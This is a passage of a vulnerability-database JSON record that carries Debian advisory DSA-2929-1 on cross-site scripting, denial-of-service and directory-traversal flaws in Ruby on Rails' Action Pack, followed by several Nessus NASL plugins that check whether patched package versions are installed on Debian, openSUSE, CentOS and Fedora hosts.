{"id": "SECURITYVULNS:DOC:30870", "bulletinFamily": "software", "title": "[SECURITY] [DSA 2929-1] ruby-actionpack-3.2 security update", "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-2929-1 security@debian.org\r\nhttp://www.debian.org/security/ Florian Weimer\r\nMay 16, 2014 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : ruby-actionpack-3.2\r\nCVE ID : CVE-2014-0081 CVE-2014-0082 CVE-2014-0130\r\nDebian Bug : 747382\r\n\r\nSeveral vulnerabilities were discovered in Action Pack, a compononent\r\nof Ruby o Rails.\r\n\r\nCVE-2014-0081\r\n\r\n actionview/lib/action_view/helpers/number_helper.rb contains\r\n multiple cross-site scripting vulnerabilities\r\n\r\nCVE-2014-0082\r\n\r\n actionpack/lib/action_view/template/text.rb performs symbol\r\n interning on MIME type strings, allowing remote denial-of-service\r\n attacks via increased memory consumption.\r\n\r\nCVE-2014-0130\r\n\r\n A directory traversal vulnerability in\r\n actionpack/lib/abstract_controller/base.rb allows remote attackers\r\n to read arbitrary files.\r\n\r\nFor the stable distribution (wheezy), these problems have been fixed in\r\nversion 3.2.6-6+deb7u2.\r\n\r\nWe recommend that you upgrade your ruby-actionpack-3.2 packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: http://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\n\r\niQEcBAEBAgAGBQJTdcyhAAoJEL97/wQC1SS+JK4IAJeiE5H/mrdggwtnbac80Ge8\r\nXhMwFOaooVLgIkVgMkGL6aKFzloGSJqjaYJAQbL5B1XcKVuLmFS94ly/FbWkIcSI\r\nx1d3+joWX6E4ytpl+BvnXOPYEo5StHpSEFroCiZJRUVToW6W6Voctz7Si5i3Zha6\r\nxsTvcphSv/8FkBwFR1Q5CIIiHkbAcVZYdlqSgzHLatzUYMh4UPgolDZBj0pm0Gtq\r\ntT9Ub/CvXvdRxA8AXq2z5hBBnybrEypeDVgGwlP2eDfvNG/Y1m0GECACzxGoRMwo\r\nMcUyRXMT15eo2At35IPrXB5kQqkV9I83V4zRMKNEYSqtmxC9zQEZA0kwmoTXIgs=\r\n=p5po\r\n-----END PGP SIGNATURE-----\r\n\r\n", "published": "2014-06-14T00:00:00", "modified": "2014-06-14T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30870", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2014-0130", "CVE-2014-0081", "CVE-2014-0082"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:52", "edition": 1, "viewCount": 18, "enchantments": {"score": {"value": 6.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "centos", "idList": ["CESA-2014:0306", "CESA-2014:0510"]}, {"type": "cve", "idList": ["CVE-2014-0081", "CVE-2014-0082", "CVE-2014-0130"]}, {"type": "debian", "idList": ["DEBIAN:DSA-2929-1:88D5D"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2014-0081", "DEBIANCVE:CVE-2014-0082"]}, {"type": "fedora", "idList": ["FEDORA:29E53215A3", "FEDORA:9190522E00", "FEDORA:9704B2142F", "FEDORA:AA89A21435", "FEDORA:DFAFC60BC98E", "FEDORA:E3E7F2297F"]}, {"type": "github", "idList": ["GHSA-6X85-J5J2-27JX", "GHSA-7CGP-C3G7-QVRW", "GHSA-M46P-GGM5-5J83"]}, {"type": "hackerone", "idList": ["H1:3370"]}, {"type": "metasploit", "idList": ["MSF:ILITIES/SUSE-CVE-2014-0081/", "MSF:ILITIES/SUSE-CVE-2014-0082/"]}, {"type": "myhack58", "idList": ["MYHACK58:62201671511"]}, {"type": "nessus", "idList": ["CENTOS_RHSA-2014-0306.NASL", "DEBIAN_DSA-2929.NASL", "FEDORA_2014-3169.NASL", "FEDORA_2014-3232.NASL", "FEDORA_2014-6098.NASL", "FEDORA_2014-6127.NASL", "OPENSUSE-2014-166.NASL", "OPENSUSE-2014-396.NASL", "OPENSUSE-2014-397.NASL", "PUPPET_ENTERPRISE_321.NASL", "REDHAT-RHSA-2014-1863.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310702929", "OPENVAS:1361412562310867567", "OPENVAS:1361412562310867578", "OPENVAS:1361412562310867582", "OPENVAS:1361412562310867818", "OPENVAS:1361412562310867824", "OPENVAS:1361412562310869062", "OPENVAS:702929", "OPENVAS:867567", "OPENVAS:867578", "OPENVAS:867582"]}, {"type": "redhat", "idList": ["RHSA-2014:0215", "RHSA-2014:0306", "RHSA-2014:0510", "RHSA-2014:0816", "RHSA-2014:1863"]}, {"type": "rubygems", "idList": ["RUBY:ACTIONPACK-2014-0081-103439", "RUBY:ACTIONPACK-2014-0082-103440"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:30717", "SECURITYVULNS:VULN:13764", "SECURITYVULNS:VULN:13836"]}, {"type": "seebug", "idList": ["SSV:90633", "SSV:93066"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2014-0081", "UB:CVE-2014-0082", "UB:CVE-2014-0130"]}, {"type": "websecuritylog", "idList": ["WEBSECURITYLOG:60132FFDF01927FD86A9BBC0859E43E9"]}]}, "backreferences": {"references": [{"type": "centos", "idList": ["CESA-2014:0306", "CESA-2014:0510"]}, {"type": "cve", "idList": ["CVE-2014-0081", "CVE-2014-0082", "CVE-2014-0130"]}, {"type": "debian", "idList": ["DEBIAN:DSA-2929-1:88D5D"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2014-0081", "DEBIANCVE:CVE-2014-0082"]}, {"type": "fedora", "idList": ["FEDORA:9190522E00", "FEDORA:9704B2142F", "FEDORA:AA89A21435", "FEDORA:DFAFC60BC98E"]}, {"type": "github", "idList": ["GHSA-7CGP-C3G7-QVRW"]}, {"type": "hackerone", "idList": ["H1:3370"]}, {"type": "myhack58", "idList": ["MYHACK58:62201671511"]}, {"type": "nessus", "idList": ["FEDORA_2014-3232.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310702929", "OPENVAS:867578"]}, {"type": "redhat", "idList": ["RHSA-2014:0306", "RHSA-2014:0510"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:13764"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2014-0130"]}, {"type": "websecuritylog", "idList": ["WEBSECURITYLOG:60132FFDF01927FD86A9BBC0859E43E9"]}]}, "exploitation": null, "vulnersScore": 6.5}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 0}}

{"nessus": [{"lastseen": "2022-04-16T14:04:14", "description": "Several vulnerabilities were discovered in Action Pack, a component of Ruby on Rails.\n\n - CVE-2014-0081 actionview/lib/action_view/helpers/number_helper.rb contains multiple cross-site scripting vulnerabilities\n\n - CVE-2014-0082 actionpack/lib/action_view/template/text.rb performs symbol interning on MIME type strings, allowing remote denial-of-service attacks via increased memory consumption.\n\n - CVE-2014-0130 A directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb allows remote attackers to read arbitrary files.", "cvss3": {"score": null, "vector": null}, "published": "2014-05-19T00:00:00", "type": "nessus", "title": "Debian DSA-2929-1 : ruby-actionpack-3.2 - security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082", "CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:ruby-actionpack-3.2", "cpe:/o:debian:debian_linux:7.0"], "id": "DEBIAN_DSA-2929.NASL", "href": "https://www.tenable.com/plugins/nessus/74043", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2929. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(74043);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2014-0130\");\n script_bugtraq_id(65604, 65647, 67244);\n script_xref(name:\"DSA\", value:\"2929\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"Debian DSA-2929-1 : ruby-actionpack-3.2 - security update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Debian host is missing a security-related update.\");\n script_set_attribute(attribute:\"description\", value:\n\"Several vulnerabilities were discovered in Action Pack, a component of\nRuby on Rails.\n\n - CVE-2014-0081\n actionview/lib/action_view/helpers/number_helper.rb\n contains multiple cross-site scripting vulnerabilities\n\n - CVE-2014-0082\n actionpack/lib/action_view/template/text.rb performs\n symbol interning on MIME type strings, allowing remote\n denial-of-service attacks via increased memory\n consumption.\n\n - CVE-2014-0130\n A directory traversal vulnerability in\n actionpack/lib/abstract_controller/base.rb allows remote\n attackers to read arbitrary files.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=747382\");\n script_set_attribute(attribute:\"see_also\", value:\"https://security-tracker.debian.org/tracker/CVE-2014-0081\");\n script_set_attribute(attribute:\"see_also\", value:\"https://security-tracker.debian.org/tracker/CVE-2014-0082\");\n script_set_attribute(attribute:\"see_also\", value:\"https://security-tracker.debian.org/tracker/CVE-2014-0130\");\n script_set_attribute(attribute:\"see_also\", value:\"https://packages.debian.org/source/wheezy/ruby-actionpack-3.2\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.debian.org/security/2014/dsa-2929\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade the ruby-actionpack-3.2 packages.\n\nFor the stable distribution (wheezy), these problems have been fixed\nin version 3.2.6-6+deb7u2.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/05/19\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:ruby-actionpack-3.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Debian Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"7.0\", prefix:\"ruby-actionpack-3.2\", reference:\"3.2.6-6+deb7u2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-08-19T12:50:04", "description": "rubygem-actionpack-3_2 was updated to fix security issues :\n\n - fix CVE-2014-0081: XSS Vulnerability in number_to_currency, number_to_percentage and number_to_human (bnc#864433) \n\n - fix CVE-2014-0082: Denial of Service Vulnerability in Action View when using render :text (bnc#864431)", "cvss3": {"score": null, "vector": null}, "published": "2014-06-13T00:00:00", "type": "nessus", "title": "openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0295-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082"], "modified": "2021-01-19T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2", "cpe:/o:novell:opensuse:12.3", "cpe:/o:novell:opensuse:13.1"], "id": "OPENSUSE-2014-166.NASL", "href": "https://www.tenable.com/plugins/nessus/75268", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2014-166.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(75268);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\");\n script_bugtraq_id(65604, 65647);\n\n script_name(english:\"openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0295-1)\");\n script_summary(english:\"Check for the openSUSE-2014-166 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"rubygem-actionpack-3_2 was updated to fix security issues :\n\n - fix CVE-2014-0081: XSS Vulnerability in\n number_to_currency, number_to_percentage and\n number_to_human (bnc#864433) \n\n - fix CVE-2014-0082: Denial of Service Vulnerability in\n Action View when using render :text (bnc#864431)\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.novell.com/show_bug.cgi?id=864431\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.novell.com/show_bug.cgi?id=864433\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.opensuse.org/opensuse-updates/2014-02/msg00081.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected rubygem-actionpack-3_2 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:12.3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:13.1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/02/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/13\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE12\\.3|SUSE13\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"12.3 / 13.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE12.3\", reference:\"rubygem-actionpack-3_2-3.2.12-1.19.1\") ) flag++;\nif ( rpm_check(release:\"SUSE13.1\", reference:\"rubygem-actionpack-3_2-3.2.13-2.15.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack-3_2\");\n}\n", "cvss": {"score": 5, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-08-19T12:50:56", "description": "The remote CentOS host is missing a security update which has been documented in Red Hat advisory RHSA-2014:0306.", "cvss3": {"score": null, "vector": null}, "published": "2014-03-18T00:00:00", "type": "nessus", "title": "CentOS 6 : ruby193-rubygem-actionpack (CESA-2014:0306)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082"], "modified": "2021-01-04T00:00:00", "cpe": ["p-cpe:/a:centos:centos-scl:ruby193-rubygem-actionpack", "p-cpe:/a:centos:centos-scl:ruby193-rubygem-actionpack-doc", "cpe:/o:centos:centos:6"], "id": "CENTOS_RHSA-2014-0306.NASL", "href": "https://www.tenable.com/plugins/nessus/73064", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2014:0306 and \n# CentOS Errata and Security Advisory 2014:0306 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(73064);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\");\n script_bugtraq_id(65604, 65647);\n script_xref(name:\"RHSA\", value:\"2014:0306\");\n\n script_name(english:\"CentOS 6 : ruby193-rubygem-actionpack (CESA-2014:0306)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote CentOS host is missing a security update which has been\ndocumented in Red Hat advisory RHSA-2014:0306.\"\n );\n # https://lists.centos.org/pipermail/centos-announce/2014-March/020210.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?ae5ec9f1\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected ruby193-rubygem-actionpack packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0082\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos-scl:ruby193-rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos-scl:ruby193-rubygem-actionpack-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/20\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/03/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/03/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/CentOS/release\");\nif (isnull(release) || \"CentOS\" >!< release) audit(AUDIT_OS_NOT, \"CentOS\");\nos_ver = pregmatch(pattern: \"CentOS(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"CentOS\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"CentOS 6.x\", \"CentOS \" + os_ver);\n\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-6\", cpu:\"x86_64\", reference:\"ruby193-rubygem-actionpack-3.2.8-5.3.el6.centos.alt\")) flag++;\nif (rpm_check(release:\"CentOS-6\", cpu:\"x86_64\", reference:\"ruby193-rubygem-actionpack-doc-3.2.8-5.3.el6.centos.alt\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby193-rubygem-actionpack / ruby193-rubygem-actionpack-doc\");\n}\n", "cvss": {"score": 5, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-04-16T14:04:21", "description": "Fix for CVE-2014-0130 - Avoid directory traversal\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": null, "vector": null}, "published": "2014-05-25T00:00:00", "type": "nessus", "title": "Fedora 20 : rubygem-actionpack-4.0.0-4.fc20 (2014-6098)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:rubygem-actionpack", "cpe:/o:fedoraproject:fedora:20"], "id": "FEDORA_2014-6098.NASL", "href": "https://www.tenable.com/plugins/nessus/74166", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-6098.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(74166);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2014-0130\");\n script_bugtraq_id(67244);\n script_xref(name:\"FEDORA\", value:\"2014-6098\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"Fedora 20 : rubygem-actionpack-4.0.0-4.fc20 (2014-6098)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Fedora host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"Fix for CVE-2014-0130 - Avoid directory traversal\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1095105\");\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-May/133620.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5ea6098a\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected rubygem-actionpack package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/05/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:rubygem-actionpack\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Fedora Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^20([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 20.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC20\", reference:\"rubygem-actionpack-4.0.0-4.fc20\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"rubygem-actionpack\");\n}\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-16T14:07:05", "description": "- fix CVE-2014-0130: rubygem-actionpack: directory traversal issue (bnc#876714) CVE-2014-0130.patch:\n contains the fix", "cvss3": {"score": null, "vector": null}, "published": "2014-06-13T00:00:00", "type": "nessus", "title": "openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0720-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2022-03-28T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:rubygem-actionpack-3_2", "cpe:/o:novell:opensuse:12.3"], "id": "OPENSUSE-2014-396.NASL", "href": "https://www.tenable.com/plugins/nessus/75374", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2014-396.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(75374);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2014-0130\");\n script_bugtraq_id(67244);\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n\n script_name(english:\"openSUSE Security Update : rubygem-actionpack-3_2 (openSUSE-SU-2014:0720-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote openSUSE host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"- fix CVE-2014-0130: rubygem-actionpack: directory\n traversal issue (bnc#876714) CVE-2014-0130.patch:\n contains the fix\");\n 